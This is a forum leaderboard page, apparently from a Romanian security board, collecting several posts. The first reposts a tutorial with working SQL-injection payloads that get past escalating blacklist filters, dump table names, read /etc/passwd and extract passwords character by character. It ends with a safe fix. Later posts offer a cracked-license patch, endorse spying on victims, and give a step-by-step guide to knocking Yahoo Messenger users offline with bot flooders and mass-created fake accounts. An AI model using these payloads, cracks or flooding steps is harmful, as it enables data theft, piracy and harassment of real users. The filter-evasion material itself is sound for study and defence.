Leaderboard
Popular Content
Showing content with the highest reputation on 06/09/11 in all areas
-
Exploiting hard filtered SQL Injections While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance. For the following examples I’ll use this basic vulnerable PHP script: 01<?php 02// DB connection 03 04$id = $_GET['id']; 05$pass = mysql_real_escape_string($_GET['pass']); 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); 08 09if($data = @mysql_fetch_array($result)) 10 echo "Welcome ${data['name']}"; 11?> Note: the webapplication displays only the name of the first row of the sql resultset. Warmup Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability: 1?id=1 and 1=0-- - 1?id=1 and 1=1-- - You also might want to see all usernames by iterating through limit (x): 1?id=1 or 1=1 LIMIT x,1-- - But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area. So you would like to know what the table and column names are and you try the following: 1?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- - 1?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- - After you have found interesting tables and its column names you can start to extract data. 1?id=1 and 1=0 union select null,password,null from users limit 1,1-- - Ok thats enough for warming up. Whitespaces, quotes and slashes filtered Of course things aren’t that easy most time. Now consider the following filter for some extra characters: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often). 1?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -) Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability). 1?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# Instead of a quoted string we can use the SQL hex representation of the found table name: 1?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# Nice. Basic keywords filtered Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes 7if(preg_match('/(and|null|where|limit)/i', $id)) 8 exit('attack'); // no sqli keywords For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result: 1?id=1# 1?id=2-1# To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have: 1?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# 1?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars. WHERE alternative The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING. First we have a look which databases are available: 1?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# This will definitely fit into 1024 chars, but you can also use database() to get the current database name: 1?id=(0)union(select(0),database(),(0))# Lets assume your database name is “test” which hex representation is “0×74657374?. Then we can use HAVING to get all table names associated with the database “test” without using WHERE: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step. intermediate result What do we need for our injections so far? keywords: “union”, “select”, “from”,”having” characters: (),._# (& or “and”) String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))# advanced keyword filtering Now its getting difficult. The filter also checks for all keywords previously needed: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(union|select|from|having)/i', $id)) 10 exit('attack'); // no sqli keywords What option do we have left? If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file(). First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list: 1?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) This will return the length of the file content or – if the file could not be read – a “1? and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char: 1?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) (while $char is the character in sql hex which is compared to the current character of the file at offset $x) We bypassed the filter but it requires the FILE privilege. filtering everything Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left? We cant use procedure analyse() because it needs a space and we cant use the ’1?%’0? trick. Basically we only have special characters left, but that is often all we need. We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}. So how do we access them blindly? A usual blind SQLi would look like the following: 1?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’: 1?id=1&&mid(pass,1,1)=(0x61);%00 We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids: 1?id=2&&mid(pass,1,1)=(0x61);%00 1?id=3&&mid(pass,1,1)=(0x61);%00 Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like: 1?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 The first attempt could be: 1?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 That does not work because the “OR 1=1? at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1? at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s: 1?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter. filtering everything and even more What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”. 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments 17if(preg_match('/(=|&|\|)/', $id)) 18 exit('attack'); // no boolean operators Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.: 1?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators? After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’: 1?id=if((name)like(0x61646D696E),1,0);%00 This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1: 1?id=if((name)like(0x61646D696E),id,0);%00 Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection: 1?id= 2if( 3 // if (it gets true if the name='admin') 4 if((name)like(0x61646D696E),1,0), 5 // then (if first password char='a' return admin id, else 0) 6 if(mid((password),1,1)like(0x61),id,0), 7 // else (return 0) 8 0 9);%00 Injection in one line: 1?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet! Conclusion (My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time. If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ? Edit: Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query. Here is a safe patch for the example: 1$id = (int) $_GET['id']; 2$pass = mysql_real_escape_string($_GET['pass']); 3$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); For more details have a look at the comments. More: Part2, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections « Reiners’ Weblog1 point
-
Hacker sau cracker? Scris de Co?ofana IT4Fans - te ajut Ce rost are s? ne mai ascundem? Hai s? fim sinceri ?i s-o zicem pe-a dreapt?: pentru cei mai mul?i dintre noi Internetul este doar un imens nor prin care bâjbâim mai mult sau mai pu?in gra?ios în fiecare zi. Dar totu?i am înv??at s? ne croim drum prin el între câteva puncte de reper marcate cu creta, câteva loc?oare virtuale în jurul c?rora zumz?im mai mult. ?i cam atât. Restul este pierdut în noapte. Bezn? total?. Sau nu-i a?a? OK, dac? ai fost tu mai norocos ?i zâna cea bun? ?i-a f?cut cu ochiul în ziua în care te-ai n?scut iar acum se întâmpl? s? fii tu UNUL DINTRE ACEIA, atunci articolul ?sta clar nu e pentru tine. ?i nici restul articolelor de pe site. N-am vrea sa te plictisim, poate te-ai sim?i mai bine în alt? parte. Î?i dorim o zi superb?! A?a, s? revenim deci. În ultimii ani tot multe probleme î?i rezolvi pe internet: comunici cu prietenii, cite?ti ?tiri sau tot felul de abera?ii de care geme web-ul, mai vezi un clip pe Youtube, descarci muzic? ?i filme de pe torrente, î?i pl?te?ti curentul, abonamentul de internet ?i de TV, bântui pe forumuri ca s? vezi ce mai zice lumea despre una-alta, sau î?i mai comanzi ceva de pe ebay ?i faci o plat? online prin PayPal. Deja chiar ?i tu, ca simplu r?t?citor virtual, f?r? s? fii vreun mare patron plin de bani, începi s? ai valori proprii depozitate în Marele Nor. Ai m?car un cont de mail pe la GMail, Yahoo sau te miri pe unde ?i ai acolo ceva mesaje care stau cumin?i pe serverele furnizorului respectiv, bine ascunse de ochii lumii. Mesaje pe care nu te-ai sim?i bine s? ?i le citeasc? chiar oricine ?i ai încredere c?, din moment ce nu ?i-ai dat parola nim?nui, sunt în siguran??. Sau poate ai vreun cont în banc? pe care ?i se vireaz? salariul ?i pe care-l accesezi printr-un serviciu de online banking. Te gânde?ti c? sistemul de online banking e bine f?cut ?i nimeni nu mai poate face pl??i de pe contul t?u în afar? de tine. Poate ai ?i vreun blog personal pe care mai spui ce-?i st? pe suflet. Acolo ai doar tu parola de acces la back-end, a?a c? probabil post?rile tale r?mân la locul lor, a?a cum le-ai l?sat. S?-?i dau vestea proast?? O ?tii deja. În mod sigur ai auzit vorbindu-se despre hackeri. Sau hec?ri. Acei vârcolaci ai internetului care nu merg doar pe potecile b?t?torite, ca noi, cei mul?i ?i oropsi?i, ci se ?tiu strecura cu agerime ?i prin h??i?uri, ba chiar se spune c? ar vedea ?i pe întuneric – ?i asta f?r? ochelari cu infraro?u. Probabil impresia cu care ai r?mas este c? hackerul e tipul ?la sfrijit, palid, chiar str?veziu, neb?rbierit ?i neap?rat cu ochelari rotunzi, pu?in adus de spate, care când nu doarme st? în fa?a calculatorului ?i-?i mi?c? degetele pe tastatur? mai ceva ca un pianist la concert, croindu-?i drum cu îndemânare prin barierele de securitate ale b?ncilor ?i institu?iilor guvernamentale ?i virând sume mari de bani dintr-o parte într-alta cu un singur enter. Prima parte poate fi în bun? m?sur? adev?rat?, de?i sedentarismul îl poate face foarte bine s? arate ca un butoi ?i s? aib? nevoie de un scaun mai solid. Percep?ia gre?it? care s-a înr?d?cinat în con?tiin?a oamenilor este c? hackerul ar fi un infractor virtual, un ins certat cu legea, un tip care sparge sisteme de securitate ?i comite tot felul de ilegalit??i online. Fals. Un hacker este în principal un tip care chiar ?tie cu ce se m?nânc? internetul. E un tip ager la minte, foarte tehnic, pasionat de calculatoare ?i internet, un tip care a stat zeci de mii de ore online ?i a s?pat, ca s? în?eleag? cum func?ioneaz? lucrurile. ?i a tot s?pat. ?i a?a a ajuns s? viseze c?ile Internetului la un cu totul alt nivel decât noi, ceilal?i. Este expert în programare ?i în securitate informatic?. Asta este suficient s? se poat? numi hacker, nu e nevoie s? comit? vreo ilegalitate. S? fii hacker e chiar un titlu de onoare. Un hacker este un om care ?tie cum ?i de ce se învârtesc roti?ele internetului. ?i cum ?tiin?a (aplicat?) înseamn? putere, hackerul este un om puternic. Iar un om puternic este un om liber s? aleag? calea pe care dore?te s? o apuce. Un lucru binecunoscut este faptul c? puterea corupe. A?a c? hacker-ul poate alege s?-?i foloseasc? puterea pentru a ob?ine u?or ce-?i dore?te. Bani, în principal, c? odat? ce-i ai pe ??tia rezolvi cu ei multe alte probleme. Categoria asta de hackeri a fost numit? foarte sugestiv black hat hackers (hackeri cu p?l?rie neagr?), denumire care are o rezonan?? de film western. Un hacker cu p?l?rie neagr? (care se poate numi ?i cracker – sp?rg?tor) este genul de hacker care, ca s? ob?in? avantajele dorite, nu se va da în l?turi de la a face lucrurile pe care oamenii le atribuie hackerilor în general: s? penetreze sisteme de securitate, s? creeze viru?i de calculator, s? apeleze la tehnici de phishing / inginerie social?, s? trimit? valuri de spam în cele patru z?ri f?r? s? clipeasc? sau s? promoveze site-uri folosind metode neortodoxe. Sigur c? nu to?i hackerii trebuie s? fie b?ie?i r?i. Sunt unii care r?mân b?ie?i buni ?i care sunt destul de de?tep?i s? ob?in? venituri suficiente f?r? s?-?i bage mâna în caraiman. ?stora le zice, ai ghicit, white hat hackers (hackeri cu p?larie alb?). Tipii ??tia sunt un fel de cavaleri pe cai albi. Chiar dac? ?tiu exact cum s? fac? s? ling? mierea din stup, au o etic? profesional? a lor ?i nu se vor coborî la nivelul moral la care s? apeleze la trucuri murdare, cum fac fârta?ii lor întuneca?i mai devreme pomeni?i. B?ie?ii cu p?l?rii albe sunt speciali?ti în securitate, deveni?i exper?i în testarea gradului de penetrabilitate a sistemelor pe care le folosesc companiile pentru a-?i proteja bunurile virtuale. Este chiar un caz tipic ca ei s? fie pl?ti?i pentru asta de companii ?i e o meserie al naibii de bine pl?tit? dac? chiar e?ti pe treaba ta în domeniu. Ei folosesc în multe cazuri exact acelea?i metode ca ?i confra?ii lor cu p?l?rii negre, numai c? nu lucreaz? pe ascuns ?i î?i fac treaba din cu totul alte motive. În momentul în care g?sesc vreo vulnerabilitate ?i reu?esc s? penetreze un sistem ei vor ?ine leg?tura în continuare cu compania în cauz? ?i îi vor acorda asisten?? pentru remedierea problemei. ?i cum în via?a asta pu?ine lucruri sunt albe sau negre, majoritatea ap?rând în diverse nuan?e de gri, exist? ?i cea de-a treia categorie de hackeri, cea mai bine reprezentat? numeric. ?i, dezam?gitor de previzibil, chiar a?a le ?i zice, grey hat hackers (hackeri cu p?l?rie gri). C? oameni suntem ?i omul are în el ?i bune, ?i rele. Iar dac? omul ajunge mare specialist într-ale computeristicii (cum spunea un amic de-al meu, ?tie el care ), în principiu e b?iat de treab? ?i cinstit, dar cum ?i ispita-i mare, ap?i se mai întâmpl? s? mai calce ?i strâmb. De exemplu un hacker din ?sta gri se poate apuca s? penetreze cu succes (f?r? s? fi fost autorizat în prealabil) un sistem de securitate al unei companii (activitate deja ilegal? chiar dac? nu folose?te în niciun fel resursele la care ob?ine acces), numai c? dup? asta nu face nimic r?u ci poate chiar repar? el însu?i gaura de securitate pe care tocmai a exploatat-o, ca s? nu mai vin? ?i al?ii dup? el. În faza asta hacker-ul gri înc? r?mâne destul de nobil, e doar de un alb o idee mai închis la culoare. Îns? p?l?ria gri poate s?-i fie mai murdar? ?i atunci se apuc? s? mai fac? din când în când ?i câte o boac?n?, c? via?a-i grea ?i ar mânca ?i buza lui o ciorb? cald? m?car din când în când. Dar între dou? boac?ne r?mâne tot b?iat sim?it, cinstit, vorba aia, nici usturoi n-a mâncat. S? fii hacker (indiferent de accep?iunea termenului) î?i confer? un statut social aflat la mare cinste în ochii puberului român tipic, educat în cluburile de net/jocuri. E un titlu râvnit de mul?i copila?i din ??tia care abia mijesc ?i ei într-ale internetului. Iar cultura de club le pune la dispozi?ie ?i uneltele necesare ca s? se apuce de treab?. M? refer aici la diverse rootkit-uri» devenite foarte accesibile în plin? er? a file sharing-ului. A?a c? orice pu?ti se poate înarma cu un astfel de rootkit ?i se poate apuca de “hackerit”. Adic? s? ruleze în orb rootkit-ul ?la ?i s? ob?in? astfel acces pe vreun sistem, moment în care orgoliul lor preadolescentin se umfl? cât proasp?t terminata cl?dire Burj Khalifa din Dubai. Satisfac?ie maxim?: gata, au intrat ?i ei în rândul hackerilor!! Situa?ia e din categoria râsu’/plânsu’, dac? ne gândim ce reprezint? cu adev?rat un hacker ?i ce sunt pu?tii ??tia, care abia ce au înv??at s? utilizeze crea?iile unor hackeri f?r? s? aib? habar pe ce se bazeaz? ?i cum anume se realizeaz? efectiv penetrarea sistemului. Dar s-a inventat ?i pentru ei o denumire care s?-i caracterizeze: script kiddies. Adic? ni?te pu?e care au înv??at s? execute câte un script. Ni?te pui de hackera?i, dac? le putem spune a?a. Vrei s? fii ?i tu un hacker adev?rat? Atunci las?-te de glume ?i pune-te pe treab?. Ah, dac? nu ?tii englez? po?i s? ui?i ideea de hacker: apuc?-te întâi de englez?. Pe urm?, singurele limite sunt în tine. Internetul geme de informa?ie: Google search, Wikipedia, forumuri de specialitate etc.etc. La început trebuie doar s-o apuci de undeva. ?i apoi mai trebuie înc? ceva, mult mai greu. S? men?ii în tine aprins? o flac?r? pentru minim câ?iva ani. Dac? se stinge dup? trei zile sau dou? s?pt?mâni, n-ai f?cut nimic. Trebuie ca în starea ta obi?nuit? s? sim?i în tine o sete de a înv??a, o sete care s? fie pentru tine ca un motor. Apuc?-te de un proiect. La început ceva simplu. Nu te l?sa pân? nu-l termini. Pe urm?, treptat, te bagi în proiecte tot mai complexe. O s? fie nevoie s? cite?ti ?i ceva c?r?i mai serioase cu cap ?i coad? ca s?-?i po?i face o imagine de ansamblu despre diverse subiecte. Dar în fiecare zi s? faci câte ceva. ?i, dup? ce trec anii ?i tragi linie, toat? munca ta n-are cum s? nu se adune. ?i nu te îmb?ta cu ap? rece: niciodat? nu o s? ?tii totul. Dar de la un punct încolo deja po?i spune c? e?ti un tip care chiar cunoa?te în domeniu. Po?i spune c? e?ti pe treaba ta. ?i o s? fii mândru de ce-ai realizat!1 point
-
Licenta valabila pana in decembrie . HTTPS NU MERGE . Apply nu se executa dar se pot folosi toate facilitatile programului din aceasta sectiune . Rulati patch-ul in acelasi director cu programul si urmati instructiunile .Cand vi se cere sa salvati ceva , acceptati . Daca dupa aplicarea patch-ului programul apare totusi ca neinregistrat , rulati patch-ul din nou . Cei care aveti win 7 rulati patch-ul ca administrator . Am plecat de la o licenta banata , patch-ul aduce modificarile necesare programului ca sa nu mai verifice valabilitatea acesteia . Totul e curat .Patch-ul este vazut ca "hacktool" . NU MUSCA ! Spor ! Descarca -> --> Parola : RST-1 points
-
-1 points
-
De acord cu tine Prodil! nu gasesti o cale mai buna de spionaj decat atunci cand victima se dezvaluie singura in fata ta!-1 points
-
[+] Am vazut ca majoritatea userilor noi care apar pe forum cauta asta si am vazut ca mai este un topic in care toti scriu si nu le raspunde nimeni la intrebari si mai mult de atat buti nu sunt buni ceea ce ii face pe ei sa creada ca programul nu e bun. O sa fac eu sa zicem "tutorialul" acesta pentru userii care nu stiu ce au de facut. [+] Pentru inceput avem nevoie de o arhiva cu cateva "floodere" (sunt cele pe care le folosesc si eu ) Arhiva contine 3 foldere : - Flooderi - IR IDMakerV3.2 - Multi Yahoo Boots Checker La Flooderi sunt programele , La IR IDMaker V3.2 este un program cu care puteati realiza buti foarte usor ,si la Multi Yahoo Boots Checker se afla un program cu care puteti scana lista voastra de buti si sa salvati buti care mai merg si sa scapati de cei care numai merg. [+] Intrati la Flooderi si deschideti pe rand doar : -Big Killer Release -Fusion Ym v2 -GMC Booters Restul de 2 le lasati acolo pentru ca nu merg si mi-a fost lene sa le sterg..^^ La toate cele 3 programe o sa vedeti ca va apare Load la fiecare dintre ele. Dati la Load pe rand la fiecare si selectati fisierul .txt din folderul Flooderi numit dEv1L Boots buni. Faceti la fel la toate si dupaia dati la toate log in. Asteptati putin sa se incarce toate . O sa ia ceva timp sa se incarce..Nu mult.Cam 45 de secunde . Dupa ce s-au incarcat buti bagati idiul acolo la Victim si dati in felul urmator. La Big Killer Release dati Flood ,la Fusion Ym dati Fast YM Flood iar la Gmc booters dati Boot 1. Acum victima va fi scoasa de pe mess.Nu dureaza foarte mult ..depinde de viteza netului. [+]Cam asta e tot ca sa flodati pe cineva. [+]Ca sa creati buti faceti in felul urmator : Intrati in arhiva IR IDMakerV3.2 Intrati in IR IDMaker . Cand ati intrat in el bifati : -Random Boot name -Randomize Name and Lastname -Randomize information Si apasati butonul start. Acum v-a aparut codul captcha in dreapta pe care va trebui sa il scrieti in stanga butonului Create..Dupa fiecaredata cand scrieti codul apasati pe Create.Si un boot se va creea. Dupa dati Save si veti putea salva buti creati unde vreti. [+] Daca "tutorialul" meu v-a fost de ajutor apasati pe butonul REP de sub avatarul meu. Sper ca am fost de folos noilor membri care cautau asta.-2 points